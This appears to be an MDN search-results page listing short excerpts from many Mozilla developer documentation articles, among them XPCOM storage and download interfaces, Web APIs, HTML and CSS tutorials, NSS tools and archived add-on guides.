... in long anumarguments, in mozistoragefunction afunction); mozistoragestatement createstatement(in autf8string asqlstatement); void createtable(in string atablename, in string atableschema); mozistoragependingstatement executeasync([array, size_is(anumstatements)] in mozistoragebasestatement astatements, in unsigned long anumstatements, [optional] in mozistoragestatementcallback acallback ); void executesimplesql(in autf8string asqlstatement); boolean indexexists(in autf8string aindexname); void preload(); obsolete since gecko 1.9 void removefunction(in autf8string afunctionname); mozistorageprogresshandler removeprogresshandler(); void rollbacktransaction(); void setgrowthincrement(in print32 aincre...
...ment, in autf8string adatabasename); mozistorageprogresshandler setprogresshandler(in print32 agranularity, in mozistorageprogresshandler ahandler); boolean tableexists(in autf8string atablename); attributes attribute type description connectionready boolean indicates if the connection is open and ready to use.
...And 32 more matches
mozIStorageStatement
t); obsolete since gecko 1.9.1 void finalize(); mozistoragestatement clone(); autf8string getparametername(in unsigned long aparamindex); unsigned long getparameterindex(in autf8string aname); autf8string getcolumnname(in unsigned long acolumnindex); unsigned long getcolumnindex(in autf8string aname); void reset(); astring escapestringforlike(in astring avalue, in wchar aescapechar); void bindparameters(in mozistoragebindingparamsarray aparameters); mozistoragebindingparamsarray newbindingparamsarray(); void bindutf8stringparameter(in unsigned long aparamindex, in autf8string avalue); void bindstringparameter(in unsigned long aparamindex, in astring avalue); void binddouble...
...ned long aparamindex, in long avalue); void bindint64parameter(in unsigned long aparamindex, in long long avalue); void bindnullparameter(in unsigned long aparamindex); void bindblobparameter(in unsigned long aparamindex, [array,const,size_is(avaluesize)] in octet avalue, in unsigned long avaluesize); mozistoragependingstatement executeasync(mozistoragestatementcallback acallback); boolean executestep(); boolean step(); void execute(); attributes attribute type description columncount unsigned long number of columns returned.
...to initialize a statement, consumers should call mozistorageconnection.createstatement().
...And 32 more matches
nsIDBChangeListener
the nsidbchangelistener interface is used by components wanting to receive notification when the current database changes somehow.
...nhdrpropertychanged: function(ahdrtochange, aprechange, astatus, ainstigator) {}, onevent: function(adb, aevent) {}, queryinterface: function(aiid) { if (!aiid.equals(components.interfaces.nsidbchangelistener) && !aiid.equals(components.interfaces.nsisupports)) throw components.results.ns_error_no_interface; return this; } }; and to attach it in thunderbird, we must call addlistener on a nsidbchangeannouncer, typically through a nsimsgdatabase.
... there are a couple of ways to access the message database: if you have a nsimsgfolder, you can do this like so: somefolder.msgdatabase.addlistener(mylistener); alternately, you can access the message database through the nsimsgdbview like so: gfolderdisplay.view.dbview.db.addlistener(mylistener); method overview void onhdrflagschanged(in nsimsgdbhdr ahdrchanged, in unsigned long aoldflags, in unsigned long anewflags, in nsidbchangelistener ainstigator); void onhdrdeleted(in nsimsgdbhdr ahdrchanged, in nsmsgkey aparentkey, in long aflags, in nsidbchangelistener ainstigator); void onhdradded(in nsimsgdbhdr ahdrchanged, in nsmsgkey aparentkey, in long aflags, in nsidbchangelistener ainstigator); void onparentchanged(in nsmsgkey akeychanged, in nsmsg...
...And 32 more matches
nsIDownloadManager
this interface is deprecated as of firefox 26.
... toolkit/components/downloads/public/nsidownloadmanager.idlscriptable this interface lets applications and extensions communicate with the download manager, adding and removing files to be downloaded, fetching information about downloads, and being notified when downloads are completed.
...to get the service, use: var downloadmanager = components.classes["@mozilla.org/download-manager;1"] .getservice(components.interfaces.nsidownloadmanager); method overview nsidownload adddownload(in short adownloadtype, in nsiuri asource, in nsiuri atarget, in astring adisplayname, in nsimimeinfo amimeinfo, in prtime astarttime, in nsilocalfile atempfile, in nsicancelable acancelable, in boolean aisprivate); void addlistener(in nsidownloadprogresslistener alistener); void canceldownload(in unsigned long aid); void cleanup(); void endbatchupdate(); obsolete since gecko 1.9.1 void flush(); obsolete since gecko 1.8 nsidownload getdownload(in unsigned long aid); void onclo...
...And 32 more matches
nsIMsgDBHdr
headers are backed by the database: a call to these functions directly modifies the state of the database, although it is not saved until the database is committed.
...new in thunderbird 3.1 [noscript] void getauthorcollationkey(out octetptr key, out unsigned long len); [noscript] void getsubjectcollationkey(out octetptr key, out unsigned long len); [noscript] void getrecipientscollationkey(out octetptr key, out unsigned long len); attributes attribute type description isread boolean readonly: indicates whether or not the message is read.
... isflagged boolean readonly: indicates whether or not the message is starred in the ui.
...And 32 more matches
AddressErrors - Web APIs
the addresserrors dictionary is used by the payment request api to to report validation errors in a physical address (typically a billing address or a shipping address).
... any members which is present indicates that a validation error occurred for the member of the same name in an address described using paymentaddress.
... properties addressline a domstring which, if present, indicates that the addressline property of the paymentaddress could not be validated.
...And 32 more matches
KeyboardEvent - Web APIs
note: keyboardevent events just indicate what interaction the user had with a key on the keyboard at a low level, providing no contextual meaning to that interaction.
... <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/event" target="_top"><rect x="1" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="38.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignmen...
... keyboard locations the following constants identify which part of the keyboard the key event originates from.
...And 32 more matches
<input type="number"> - HTML: Hypertext Markup Language
WebHTMLElementinputnumber
they include built-in validation to reject non-numerical entries.
...you can set a default value for the input by including a number inside the value attribute, like so: <input id="number" type="number" value="42"> additional attributes in addition to the attributes commonly supported by all <input> types, inputs of type number support these attributes: attribute description list the id of the <datalist> element that contains the optiona...
...l pre-defined autocomplete options max the maximum value to accept for this input min the minimum value to accept for this input placeholder an example value to display inside the field when it's empty readonly a boolean attribute indicating whether the value is read-only step a stepping interval to use when using up and down arrows to adjust the value, as well as for validation list the values of the list attribute is the id of a <datalist> element located in the same document.
...And 32 more matches
Content negotiation - HTTP
in http, content negotiation is the mechanism that is used for serving different representations of a resource at the same uri, so that the user agent can specify which is best suited for the user (for example, which language of a document, which image format, or which content encoding).
... principles of content negotiation a specific document is called a resource.
...the server uses this url to choose one of the variants it provides – each variant being called a representation – and returns a specific representation to the client.
...And 32 more matches
Classes and Inheritance - Archive of obsolete content
unlike languages like c++ and java, javascript does not have native support for classical inheritance.
... instead, it uses something called prototypal inheritance.
... as it turns out, it is possible to emulate classical inheritance using prototypal inheritance, but not without writing a significant amount of boilerplate code.
...And 31 more matches
core/promise - Archive of obsolete content
instead of structuring our programs into logical black boxes: function blackbox(a, b) { var c = assemble(a); return combine(b, c); } we're forced into continuation passing style, involving lots of machinery: function sphagetti(a, b, callback) { assemble(a, function continuewith(error, c) { if (error) callback(error); else combine(b, c, callback); }); } this style also makes doing things in sequence hard: widget.on('click', function onclick() { promptuserfortwitterhandle(function continuewith(error, handle) { if (error) return ui.displaye...
... promises consider another approach, instead of continuation via callbacks, a function returns an object that represents a eventual result, either successful or failed.
...we can call a function on the promise to observe either its fulfillment or rejection.
...And 31 more matches
platform/xpcom - Archive of obsolete content
you can just use require("chrome") to get direct access to the components object, and access xpcom objects from there.
... implementing xpcom interfaces this module exports a class called unknown which implements the fundamental xpcom interface nsisupports.
... by subclassing unknown, either using standard javascript inheritance or using the sdk's heritage module, you can provide your own implementations of xpcom interfaces.
...And 31 more matches
Source code directories overview - Archive of obsolete content
it gives a bird's eye view of the source code so a developer can get a good idea what is in mozilla and where to find things.
...although not required, these common names are typically used for a common purpose.
... if files can be grouped into submodules, they are usually put in their own third level directory and given a unique name (e.g.
...And 31 more matches
Document Loading - From Load Start to Finding a Handler - Archive of obsolete content
the final goal is to find the correct stream listener to pump the data into when necko calls ondataavailable (e.g., we may find the html parser as the stream listener to give the data to).
...main roles nsdocshell this class corresponds, basically, to a "window" object in javascript -- each frame, iframe, content area, tab, etc has its own docshell.
... a docshell can have a name associated with it (e.g.
...And 31 more matches
Layout System Overview - Archive of obsolete content
this presentation is typically formatted in accordance with the requirements of the css1 and css2 specifications from the w3c.
... presentation formatting is also required to provide compatibility with legacy browsers (microsoft internet explorer and netscape navigator 4.x).
... the decision about when to apply css-specified formatting and when to apply legacy formatting is controlled by the document's doctype specification.
...And 31 more matches
Archive of obsolete content
perhaps your target audience is people that are using older hardware, for example, and can't upgrade to the latest and greatest browsers.
... there are many reasons older documentation can be useful.
... so, we've established this area into which we can archive older documentation.
...And 31 more matches
How CSS is structured - Learn web development
you can link a single css file to multiple web pages, styling all of them with the same css stylesheet.
...here are three examples: <!-- inside a subdirectory called styles inside the current directory --> <link rel="stylesheet" href="styles/style.css"> <!-- inside a subdirectory called general, which is in a subdirectory called styles, inside the current directory --> <link rel="stylesheet" href="styles/general/style.css"> <!-- go up one directory level, then inside a subdirectory called styles --> <link rel="stylesheet" href="../styles/style.css"> in...
... <html> <head> <meta charset="utf-8"> <title>my css experiment</title> <style> h1 { color: blue; background-color: yellow; border: 1px solid black; } p { color: red; } </style> </head> <body> <h1>hello world!</h1> <p>this is my first css example</p> </body> </html> in some circumstances, internal stylesheets can be useful.
...And 31 more matches
Document and website structure - Learn web development
basic sections of a document webpages can and will look pretty different from one another, but they all tend to share similar standard components, unless the page is displaying a fullscreen video or game, is part of some kind of art project, or is just badly structured: header: usually a big strip across the top with a big heading, logo, and perhaps a tagline.
...many web designers consider the navigation bar to be part of the header rather than an individual component, but that's not a requirement; in fact, some also argue that having the two separate is better for accessibility, as screen readers can read the two features better if they are separate.
...usually, this is contextual to what is contained in the main content (for example on a news article page, the sidebar might contain the author's bio, or links to related articles) but there are also cases where you'll find some recurring elements like a secondary navigation system.
...And 31 more matches
Video and Audio APIs - Learn web development
as we showed in video and audio content, a typical implementation looks like this: <video controls> <source src="rabbit320.mp4" type="video/mp4"> <source src="rabbit320.webm" type="video/webm"> <p>your browser doesn't support html5 video.
... here is a <a href="rabbit320.mp4">link to the video</a> instead.</p> </video> this creates a video player inside the browser like so: you can review what all the html features do in the article linked above; for our purposes here, the most interesting attribute is controls, which enables the default set of playback controls.
... you can solve both these problems by hiding the native controls (by removing the controls attribute), and programming your own with html, css, and javascript.
...And 31 more matches
Getting started with Ember - Learn web development
previous overview: client-side javascript frameworks next in our first ember article we will look at how ember works and what it's useful for, install the ember toolchain locally, create a sample app, and then do some initial setup to get it ready for development.
... introducing ember ember is a component-service framework that focuses on the overall web application development experience, minimizing the trivial differences between applications — all while being a modern and light layer on top of native javascript.
...components and services make up the majority of any emberjs application.
...And 31 more matches
Accessibility in React - Learn web development
previous overview: client-side javascript frameworks next in our final tutorial article, we'll focus on (pun intended) accessibility, including focus management in react, which can improve usability and reduce confusion for both keyboard-only and screenreader users.
...a user can add a new task, check and uncheck tasks, delete tasks, or edit task names.
... and they can filter their task list by all, active, or completed tasks.
...And 31 more matches
Introduction to cross browser testing - Learn web development
different devices with different capabilities, from the latest greatest tablets and smartphones, through smart tvs, right down to cheap tablets and even older feature phones that may run browsers with limited capabilities.
... remember that you are not your users — just because your site works on your macbook pro or high-end galaxy nexus, doesn't mean it will work for all your users — there's a whole lot of testing to be done!
... on the other hand, it is not ok for a site to work fine for sighted users, but be completely inaccessible for visually impaired users because their screen reader application can't read any of the information stored on it.
...And 31 more matches
CSUN Firefox Materials
in addition to winning major awards such as pc world product of the year, firefox has attracted a huge following among savvy users who simply care enough about their web browsing experience to download a new piece of software.
... websites such as online magazines with sophisticated audiences are now reporting upwards of 25% firefox usage.
...because firefox rethinks the web, and does away with many of the common annoyances that cause browsing to be difficult for ordinary people.
...And 31 more matches
pkfnc.html
upgraded documentation may be found in the current nss reference pkcs #11 functions chapter 7 pkcs #11 functions this chapter describes the core pkcs #11 functions that an application needs for communicating with cryptographic modules.
... in particular, these functions are used for obtaining certificates, keys, and passwords.
... pk11_findcertfromnickname pk11_findkeybyanycert pk11_getslotname pk11_gettokenname pk11_ishw pk11_ispresent pk11_isreadonly pk11_setpasswordfunc pk11_findcertfromnickname finds a certificate from its nickname.
...And 31 more matches
JSPropertyOp
jspropertyop and jsstrictpropertyop are the type of property getter and setter callbacks in the jsapi.
... they are also the types of the jsclass.addproperty, getproperty, and setproperty callbacks, which are called during object property accesses.
...in js_threadsafe builds, the javascript engine calls this callback only from within an active request on cx.
...And 31 more matches
nsIURI
inherits from: nsisupports last changed in gecko 6.0 (firefox 6.0 / thunderbird 6.0 / seamonkey 2.3) see the following rfcs for details: rfc3490: internationalizing domain names in applications (idna) rfc3986: uniform resource identifier (uri): generic syntax rfc3987: internationalized resource identifiers subclasses of nsiuri, such as nsiurl, impose further structure on the uri.
...follows the idna draft specification for converting internationalized domain names (utf-8) to ascii for compatibility with existing internet infrastructure.
...other parts are url-escaped per the rules of rfc3986.
...And 31 more matches
Using js-ctypes
before you can use js-ctypes, you need to import the ctypes.jsm code module.
... this is as simple as including the following line of code in the desired javascript scope: components.utils.import("resource://gre/modules/ctypes.jsm") loading a native library once you've imported the code module, you can call the ctypes.open() method to load each native library you wish to use.
... on windows, for example, you might load the system user32 library like this: var lib = ctypes.open("user32.dll"); on mac os x, you can load the core foundation library from the core foundation framework like this: var corefoundation = ctypes.open("/system/library/frameworks/corefoundation.framework/corefoundation"); the returned object is a library object that you use to declare functions and data types for use with the loaded library.
...And 31 more matches
Examine and edit CSS - Firefox Developer Tools
you can examine and edit css in the inspector's css pane.
...you can: toggle pseudo-classes; toggle classes; add a new rule; change the display based on the color scheme preference (as of firefox 72, you must set devtools.inspector.color-scheme-simulation.enabled to true in the configuration editor to enable this feature); change the display based on print media rules.
...this can help you understand why certain styles are not being applied.
...And 31 more matches
Touch events - Web APIs
the touch events interfaces are relatively low-level apis that can be used to support application-specific multi-touch interactions such as a two-finger gesture.
...during this interaction, an application receives touch events during the start, move, and end phases.
... touch events are similar to mouse events except they support simultaneous touches and at different locations on the touch surface.
...And 31 more matches
Using WebRTC data channels - Web APIs
but there's a lot more you can do with webrtc.
... in this guide, we'll examine how to add a data channel to a peer connection, which can then be used to securely exchange arbitrary data; that is, any kind of data we wish, in any format we choose.
... since all webrtc components are required to use encryption, any data transmitted on an rtcdatachannel is automatically secured using datagram transport layer security (dtls).
...And 31 more matches
Using the Web Audio API - Web APIs
the web audio api does not replace the <audio> media element, but rather complements it, just like <canvas> coexists alongside the <img> element.
... your use case will determine what tools you use to implement audio.
...if you want to carry out more complex audio processing, as well as playback, the web audio api provides much more power and control.
...And 31 more matches
Web audio spatialization basics - Web APIs
basics of spatialization in web audio, complex 3d spatializations are created using the pannernode, which in layman's terms is basically a whole lotta cool maths to make audio appear in 3d space.
... note: there's also a stereopannernode designed to deal with the common use case of creating simple left and right stereo panning effects.
... the boombox sits inside a room (defined by the edges of the browser viewport), and in this demo, we can move and rotate it with the provided controls.
...And 31 more matches
Text labels and names - Accessibility
there are a number of different types of problems in this category, found in different contexts, and each has its own solution.
... see also <area> h24: providing text alternatives for the area elements of image maps dialogs should be labeled for any container whose contents act as a dialog box (for example, a modal dialog asking the user to make a choice or respond to an action being taken), give it a descriptive label or name, so that assistive technology users can easily discover what its purpose is.
... a dialog box is generally denoted by an aria role="dialog" or role="alertdialog"; you can use the aria-label or aria-labelledby attributes to provide a label.
...And 31 more matches
Getting Started - Developer guides
in a nutshell, it is the use of the xmlhttprequest object to communicate with servers.
... it can send and receive information in various formats, including json, xml, html, and text files.
... ajax’s most appealing characteristic is its "asynchronous" nature, which means it can communicate with the server, exchange data, and update the page without having to refresh the page.
...And 31 more matches
Global attributes - HTML: Hypertext Markup Language
global attributes are attributes common to all html elements; they can be used on all elements, though they may have no effect on some elements.
... in addition to the basic html global attributes, the following global attributes also exist: xml:lang and xml:base — these are inherited from the xhtml specifications and deprecated, but kept for compatibility purposes.
... the event handler attributes: onabort, onautocomplete, onautocompleteerror, onblur, oncancel, oncanplay, oncanplaythrough, onchange, onclick, onclose, oncontextmenu, oncuechange, ondblclick, ondrag, ondragend, ondragenter, ondragexit, ondragleave, ondragover, ondragstart, ondrop, ondurationchange, onemptied, onended, onerror, onfocus, oninput, oninvalid, onkeydown, onkeypress, onkeyup, onload, onloadeddata, onloadedmetadata, onloadstart, onmousedown, onmouseenter, onmouseleave, onmousemove, onmouseout, onmouseover, onmouseup, onmousewheel, onpause, onplay, onplaying, onprogress, onratechange, onreset, onresize, onscroll, onseeked, onseeking, onselect, onshow, onsort, onstalled, onsubmit, onsuspend, ontimeupdate, ontoggle, o...
...And 31 more matches
Regular expressions - JavaScript
if the regular expression remains constant, using this can improve performance.
... or calling the constructor function of the regexp object, as follows: let re = new regexp('ab+c'); using the constructor function provides runtime compilation of the regular expression.
...such a match would succeed in the strings "hi, do you know your abc's?" and "the latest airplane designs evolved from slabcraft." in both cases the match is with the substring "abc".
...And 31 more matches
Modules - Archive of obsolete content
the use of modules greatly improves the maintainability of code, by splitting it up into independent components, and enforcing logical boundaries between them.
... unfortunately, javascript does not yet have native support for modules: it has to rely on the host application to provide it with functionality such as loading subscripts, and exporting/ importing names.
... we will show how to do each of these things using the built-in components object provided by xulrunner application such as firefox and thunderbird.
...And 30 more matches
ui/sidebar - Archive of obsolete content
a sidebar is a vertical strip of user interface real estate for your add-on that's attached to the left-hand side of the browser window.
... you specify its content using html, css, and javascript, and the user can show or hide it in the same way they can show or hide the built-in sidebars.
... once you've done that, you can show the sidebar by calling the sidebar's show() method.
...And 30 more matches
Handling Preferences - Archive of obsolete content
« previousnext » preferences in firefox mozilla applications are highly customizable.
...if you need to refer to the term "preference" in any of your locale files, you must change the string depending on the operating system.
... tip: you can use window.navigator.platform in your chrome code to figure out the operating system firefox is running on.
...And 30 more matches
JavaScript crypto - Archive of obsolete content
deprecatedthis feature has been removed from the web standards.
... services are provided to enable: smart card events, generating certificate requests, importing user certs, generating random numbers, logging out of your tokens, and signing text.
... handling smart card events web sites can make themselves more smartcard friendly by listening for smartcard insertion and removal events.
...And 30 more matches
panel - Archive of obsolete content
ArchiveMozillaXULpanel
typically, it will be attached to a button using the button's type attribute so that when the button is pressed, the panel will be displayed.
... the panel is closed when the user clicks outside the panel, presses escape or when the panel's hidepopup method is called.
... consumeoutsideclicks type: boolean controls whether or not the event that caused the popup to be automatically dismissed (or "rolled up") should be consumed or be dispatched as a normal event.
...And 30 more matches
Organizing your CSS - Learn web development
previous overview: building blocks as you start to work on larger stylesheets and big projects you will discover that maintaining a huge css file can be challenging.
...consistency can be applied in all sorts of ways, such as using the same naming conventions for classes, choosing one method of describing color, or maintaining consistent formatting (for example will you use tabs or spaces to indent your code?
... /* this is a css comment it can be broken onto multiple lines.
...And 30 more matches
Build your own function - Learn web development
previous overview: building blocks next with most of the essential theory dealt with in the previous article, this article provides practical experience.
... active learning: let's build a function the custom function we are going to build will be called displaymessage().
... the alert function is limited: you can alter the message, but you can't easily vary anything else, such as the color, icon, or anything else.
...And 30 more matches
Accessibility Features in Firefox
we are optimistic that jaws support will catch up this year.
... in recent articles from both afb's access world and nfb's voice of the nation's blind, reviewers found no significant roadblocks in moving to firefox from internet explorer for screen reader users.
... in fact, the same keyboard commands are still available, so users can become comfortable and productive right away.
...And 30 more matches
The Firefox codebase: CSS Guidelines
basics here are some basic tips that can optimize reviews if you are changing css: avoid !important but if you have to use it, make sure it's obvious why you're using it (ideally with a comment).
...some examples to avoid: absolutely positioned elements hardcoded values such as: vertical-align: -2px; .
... only use generic selectors such as :last-child, when it is what you mean semantically.
...And 30 more matches
History Service Design
this system provides additional performance, flexibility, and querying capabilities over the old one, for both end users and extensions developers.
...the user can query his visits based on a date range, meta contents or revisit behavior.
...the system should be customizable enough to allow creation of custom, calendar and graphical views based on queries executed through a common api upon underlying data.
...And 30 more matches
Using the Places history service
nsiautocompletesearch: url-bar autocomplete from history from 1.9.1 (firefox3.1) on, don't use any places service on (or after) quit-application has been notified, since the database connection will be closed to allow the last sync, and changes will most likely be lost.
... use quit-application-granted instead.
...this information is called a "visit" in this document and in the code.
...And 30 more matches
nsIDOMOfflineResourceList
the nsidomofflineresourcelist interface provides access to the application cache that allows web content's resources to be cached locally for use while offline.
... it includes methods for adding resources to and removing resources from the cache, as well as for enumerating the dynamically managed resource list.
... last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) inherits from: nsisupports method overview void mozadd(in domstring uri); boolean mozhasitem(in domstring uri); domstring mozitem(in unsigned long index); void mozremove(in domstring uri); void swapcache(); void update(); attributes attribute type description mozitems nsidomofflineresourcelist the list of dynamically-managed entries in the offline resource list.
...And 30 more matches
nsINavHistoryObserver
you can still access the database in this situation but be careful (of what?).
... note: the page does not necessarily have to have ever existed for this function to be called.
... delete notifications aren't quite 100% accurate.
...And 30 more matches
nsITimer
note that the delay is approximate: the timer can be fired before the requested time has elapsed.
... nsitimer instances must be initialized by calling one of the initialization methods.
...it is not necessary to cancel the timer in that case.
...And 30 more matches
Standard OS Libraries
this article gives the names of standard libraries that can be accessed with js-ctypes.
...the alternative to standard libraries is creating your own dll (for windows) or so (for linux) file with c functions that can be called from your add-on with js-ctypes.
...windows also has the "winapilists" and ".net framework" (i'm not sure if it can be accessed jsctypes but probably).
...And 30 more matches
console - Web APIs
WebAPIConsole
the specifics of how it works varies from browser to browser, but there is a de facto set of features that are typically provided.
... the console object can be accessed from any global object.
...it's exposed as window.console, and can be referenced as simply console.
...And 30 more matches
Using bounded reference spaces - Web APIs
introduction a bounded reference space is one which represents an xr environment in which the user is able to move around physically in the real world while being tracked by the xr hardware, with their movements being then transposed into the simulation.
... requirements because a bounded reference space establishes a limited area in which the user can move, it naturally imposes a limit on how large the simulated environment can be.
... it's difficult (and would probably be fairly confusing) to create a virtual world that's larger than the physical space available to the user if you're mapping their real-world movement into the virtual environment.
...And 30 more matches
Using HTML sections and outlines - Developer guides
important: there are no implementations of the proposed outline algorithm in web browsers nor assistive technology; it was never part of a final w3c specification.
... the html5 specification introduced several semantic sectioning elements to help organize the structure of documents.
... semantic sectioning elements are specifically designed to communicate structural meaning to browsers and other technologies interpreting the document on behalf of users, such as screen readers and voice assistants.
...And 30 more matches
<iframe>: The Inline Frame element - HTML: Hypertext Markup Language
WebHTMLElementiframe
the browsing context that embeds the others is called the parent browsing context.
... because each browsing context is a complete document environment, every <iframe> in a page requires increased memory and other computing resources.
... while theoretically you can use as many <iframe>s as you like, check for performance problems.
...And 30 more matches
Introduction - JavaScript
once you have a firm grasp of the fundamentals, you can use the javascript reference to get more details on individual objects and statements.
...inside a host environment (for example, a web browser), javascript can be connected to the objects of its environment to provide programmatic control over them.
...core javascript can be extended for a variety of purposes by supplementing it with additional objects; for example: client-side javascript extends the core language by supplying objects to control a browser and its document object model (dom).
...And 30 more matches
WebAssembly Concepts - WebAssembly
webassembly is a new type of code that can be run in modern web browsers and provides new features and major gains in performance.
... this has huge implications for the web platform — it provides a way to run code written in multiple languages on the web at near-native speed, with client apps running on the web that previously couldn’t have done so.
...webassembly modules can be imported into a web (or node.js) app, exposing webassembly functions for use via javascript.
...And 30 more matches
XUL Migration Guide - Archive of obsolete content
first we'll outline how to decide whether your add-on is a good candidate for migration via a comparison of the benefits and limitations of the sdk versus xul development.
... if your add-on can accomplish everything it needs using only the supported apis, it's a good candidate for migration.
... if your add-on only needs a little help from those techniques, and can accomplish most of what it needs using the supported apis, then it might still be worth migrating: we'll add more supported apis in future releases to meet important use cases.
...And 29 more matches
Creating XPI Installer Modules - Archive of obsolete content
addons for various toolkit applications, such as firefox or thunderbird, should be packaged in a different way.
...this new packaging scheme is called xpi (pronounced "zippy"), and interacts with xpinstall.
... a xpi file typically contains the resources to be installed (in this case the barley.jar we want to have installed in the mozilla/bin/chrome/ directory) and an install script that guides the installation process.
...And 29 more matches
MenuItems - Archive of obsolete content
a shortcut key can be created using the key element.
...for the "open" item in this example, this command can be invoked by using the "accel" modifier key and pressing 'o'.
... the "accel" modifier key varies on each platform, but is the key typically used for shortcut keys.
...And 29 more matches
Creating an Installer - Archive of obsolete content
the majority of this api is now deprecated and as of gecko 1.9 no longer available.
... « previousnext » this section will describe packaging a xul application into an installer.
... xpinstall packages mozilla provides a mechanism which can be used to package xul windows, scripts, skins and other files into single file installers.
...And 29 more matches
Game monetization - Game development
even though the digital market is key and you don't need to print covers and put your game in a physical store in boxes, to earn decent money on selling your games for a fixed price you have to invest your time and money in marketing.
...an arcade ios title can be sold for 0.99 usd, but a longer rpg-style desktop game on steam can cost 20 usd; both prices are ok.
... in-app purchases instead of having people pay for your game up front, you can offer a free game with in-app purchases (iaps.) in this case the game can be acquired without spending a dime — give the game to the players, but offer in-game currency, bonuses or benefits for real money.
...And 29 more matches
Supporting older browsers - Learn web development
this will always be the case on the web — as new features are developed, different browsers will prioritise different things.
... what is the browser landscape for your site?
...this is straightforward if you have an existing website which you are adding to or replacing, as you probably have analytics available which can tell you the technology people are using.
...And 29 more matches
Getting started with CSS - Learn web development
previous overview: first steps next in this article we will take a simple html document and apply css to it, learning some practical things about the language along the way.
...you can copy the code from below if you want to work on your own computer.
...it contains an <em>emphasized</em> element.</p> <ul> <li>item one</li> <li>item two</li> <li>item <em>three</em></li> </ul> </body> </html> note: if you are reading this on a device or an environment where you can't easily create files, then don't worry — live code editors are provided below to allow you to write example code right here in the page.
...And 29 more matches
The HTML5 input types - Learn web development
because html form control appearance may be quite different from a designer's specifications, web developers sometimes build their own custom form controls.
...any other content causes the browser to display an error when the form is submitted.
... you can see this in action in the below screenshot.
...And 29 more matches
Debugging HTML - Learn web development
previous overview: introduction to html next writing html is fine, but what if something goes wrong, and you can't work out where the error in the code is?
... this article will introduce you to some tools that can help you find and fix errors in html.
... debugging isn't scary when writing code of some kind, everything is usually fine, until that dreaded moment when an error occurs — you've done something wrong, so your code doesn't work — either not at all, or not quite how you wanted it to.
...And 29 more matches
Implementing feature detection - Learn web development
previous overview: cross browser testing next feature detection involves working out whether a browser supports a certain block of code, and running different code depending on whether it does (or doesn't), so that the browser can always provide a working experience rather than crashing/erroring in some browsers.
... the concept of feature detection the idea behind feature detection is that you can run a test to determine whether a feature is supported in the current browser, and then conditionally run code to provide an acceptable experience both in browsers that do support the feature, and browsers that don't.
... let's recap and look at the example we touched on in our handling common javascript problems — the geolocation api (which exposes available location data for the device the web browser is running on) has the main entry point for its use, a geolocation property available on the global navigator object.
...And 29 more matches
What to do and what not to do in Bugzilla
if you need faster access to get canconfirm or editbugs, especially in order to triage bugs or to participate in a bug day, then you can ask in #bmo on irc, or you may create a bug requesting permissions.
...before you have canconfirm, you can still do good triaging by leaving comments with useful information on the bug that will help to confirm it.
... canconfirm privilege the canconfirm privilege allows you to confirm bugs and also to start your bug reports in the confirmed state (new).
...And 29 more matches
Using the viewport meta tag to control layout on mobile browsers
background the browser's viewport is the area of the window in which web content can be seen.
... this is often not the same size as the rendered page, in which case the browser provides scrollbars for the user to scroll around and access all the content.
...mobiles) render pages in a virtual window or viewport, which is usually wider than the screen, and then shrink the rendered result down so it can all be seen at once.
...And 29 more matches
Memory reporting
each reporter implements a collectreports function which takes a nsimemoryreportercallback argument; for each measurement the reporter must pass in several values, including: a path (which identifies the report); an amount (the most important thing); a unit (most commonly bytes, but sometimes a unitless count or percentage); a description of what is measured.
... two ways to measure memory reporters can be divided into the two following kinds.
... traversal-based reporters traverse one or more data structures and measure the size of all the allocated blocks in the data structure.
...And 29 more matches
NSS tools : pk12util
nss tools : pk12util name pk12util — export and import keys and certificate to or from a pkcs #12 file and the nss database synopsis pk12util [-i p12file|-l p12file|-o p12file] [-d [sql:]directory] [-h tokenname] [-p dbprefix] [-r] [-v] [-k slotpasswordfile|-k slotpassword] [-w p12filepasswordfile|-w p12filepassword] description the pkcs #12 utility, pk12util, enables sharing certificates among any server that supports pkcs#12.
... the tool can import certificates and keys from pkcs#12 files into security databases, export certificates, and list certificates and keys.
... options and arguments options -i p12file import keys and certificates from a pkcs#12 file into a security database.
...And 29 more matches
NSS tools : pk12util
name pk12util — export and import keys and certificate to or from a pkcs #12 file and the nss database synopsis pk12util [-i p12file [-h tokenname] [-v] [common-options] ] [ -l p12file [-h tokenname] [-r] [common-options] ] [ -o p12file -n certname [-c keycipher] [-c certcipher] [-m|--key_len keylen] [-n|--cert_key_len certkeylen] [common-options] ] [ common-options are: [-d [sql:]directory] [-p dbprefix] [-k slotpasswordfile|-k slotpassword] [-w p12filepasswordfile|-w p12filepassword] ] description the pkcs #12 utility, pk12util, enables sharing certificates among any server that supports pkcs#12.
... the tool can import certificates and keys from pkcs#12 files into security databases, export certificates, and list certificates and keys.
... options and arguments options -i p12file import keys and certificates from a pkcs#12 file into a security database.
...And 29 more matches
JSAPI Cookbook
note: the foss wiki page contains a few links to other libraries and programs that can make life easier when using spidermonkey and jsapi.
... // javascript var global = this; there is a function, js_getglobalforscopechain(cx), that makes a best guess, and sometimes that is the best that can be done.
... but in a jsnative the correct way to do this is: /* jsapi */ bool mynative(jscontext *cx, unsigned argc, js::value *vp) { js::callargs args = js::callargsfromvp(argc, vp); jsobject *global = js_getglobalforobject(cx, &args.callee()); ...
...And 29 more matches
WebReplayRoadmap
we would like to use web replay to radically improve not just the debugging experience but the entire web development experience.
... the bug only needs to be reproduced in a recording tab once, and then console logs can be added which apply throughout the entire recording.
... this is based on the logpoints feature in the debugger, which can be enabled with the devtools.debugger.features.log-points preference.
...And 29 more matches
nsIXPConnect
nsistackframe createstackframelocation(in pruint32 alanguage, in string afilename, in string afunctionname, in print32 alinenumber, in nsistackframe acaller); void debugdump(in short depth); void debugdumpevalinjsstackframe(in pruint32 aframenumber, in string asourcetext); void debugdumpjsstack(in prbool showargs, in prbool showlocals, in prbool showthisprops); void debugdumpobject(in nsisupport...
... void flagsystemfilenameprefix(in string afilenameprefix, in prbool awantnativewrappers); void garbagecollect(); [noscript,notxpcom] void getcaller(out jscontextptr ajscontext, out jsobjectptr aobject); jsval getcowforobject(in jscontextptr ajscontext, in jsobjectptr aparent, in jsobjectptr awrappedobj); native code only!
